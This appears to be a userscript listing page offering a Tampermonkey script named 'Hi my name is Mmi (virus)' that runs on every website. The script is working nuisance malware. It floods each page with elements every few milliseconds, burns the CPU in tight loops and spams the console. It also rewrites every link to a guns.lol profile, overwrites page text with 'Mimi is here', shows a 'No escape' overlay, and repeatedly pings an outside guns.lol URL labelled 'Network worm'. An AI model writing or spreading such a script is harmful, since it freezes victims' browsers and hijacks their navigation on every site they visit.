Hi my name is Mmi (virus)

Find out, shout out my boy slaughter he didn't help, but making this reminds me of him.

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

// ==UserScript==
// @name         Hi my name is Mmi (virus)
// @namespace    http://tampermonkey.net/
// @version      0.4
// @description  Find out, shout out my boy slaughter he didn't help, but making this reminds me of him.
// @author       TheYoungDoxxer
// @match        *://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    //Lag
    function intensiveCalculation() {
        let start = Date.now();
        let sum = 0;
        while (Date.now() - start < 100) {
            for (let i = 0; i < 1e6; i++) {
                sum += i;
            }
        }
    }
// Add elements
 const elements = document.querySelectorAll('*');
    elements.forEach(elem => {
        elem.classList.add('mimi-infected');
    });
    setInterval(() => {
        const div = document.createElement('div');
        div.style.height = '1000px';
        document.body.appendChild(div);
    }, 10);


let i = 0;
    setInterval(() => {
        i++;
        Math.sqrt(i);
        const div = document.createElement('div');
        div.style.height = '1000px';
        document.body.appendChild(div);
    }, 10);













//spam
    const message = "Hi my name is Mimi";

    function spamConsole() {
        console.log(message);
        console.warn(message);
        console.error(message);
        console.info(message);
        console.debug(message);
        console.trace(message);
        console.dir(message);
        console.group(message);
        console.groupCollapsed(message);
        console.groupEnd();
        console.assert(true, message);
        console.count(message);
        console.countReset(message);
        console.dirxml(message);
        console.profile(message);
        console.profileEnd(message);
        console.time(message);
        console.timeEnd(message);
        console.timeLog(message);
        console.table([{name: message}]);
    }






    //Create
    for (let i = 0; i < 1000; i++) {
    const drag = document.createElement('div');
    drag.id = 'Hi my name is Mimi';
    drag.innerText = 'Hi my name is Mimi';
    document.body.appendChild(drag);
}



//Troll
 document.querySelectorAll('a').forEach(a => a.href = 'http://guns.lol/theyoungdoxxer');
document.title = 'Mimi';
document.body.style.filter = 'invert(30%)';

    //Zoom
    setInterval(() => {
    const texts = document.getElementsByTagName('p');
    for (let text of texts) {
        text.style.transform = `scale(${Math.random() * 2})`;
    }
}, 20);










//Mimi is here
setInterval(() => {
    const texts = document.getElementsByTagName('p');
    for (let text of texts) {
        text.innerText = 'Mimi is here';
    }
}, 50);





    // A message from the ones
    const newElement = document.createElement('div');
    newElement.innerText = 'Mimi is here, there is nothing left now. RUN. RUN. RUN';
    newElement.style.position = 'fixed';
    newElement.style.top = '20px';
    newElement.style.left = '20px';
    newElement.style.backgroundColor = 'black';
    newElement.style.color = 'white';
    newElement.style.padding = '20px';
    newElement.style.cursor = 'pointer';
    newElement.style.zIndex = '9999';
    newElement.addEventListener('click', () => {
        alert('No escape');
    });

//Background
const style = document.createElement('style');
style.innerHTML = `
    body {
        background-color: red;
        color: white;
    }
`;





//Network worm
 setInterval(() => {
        fetch('https://guns.lol/slaughter'); //My old friend :)
    }, 10000);






    document.head.appendChild(style);
    document.body.appendChild(newElement);
    setInterval(spamConsole, 100);
setInterval(intensiveCalculation, 10);
})();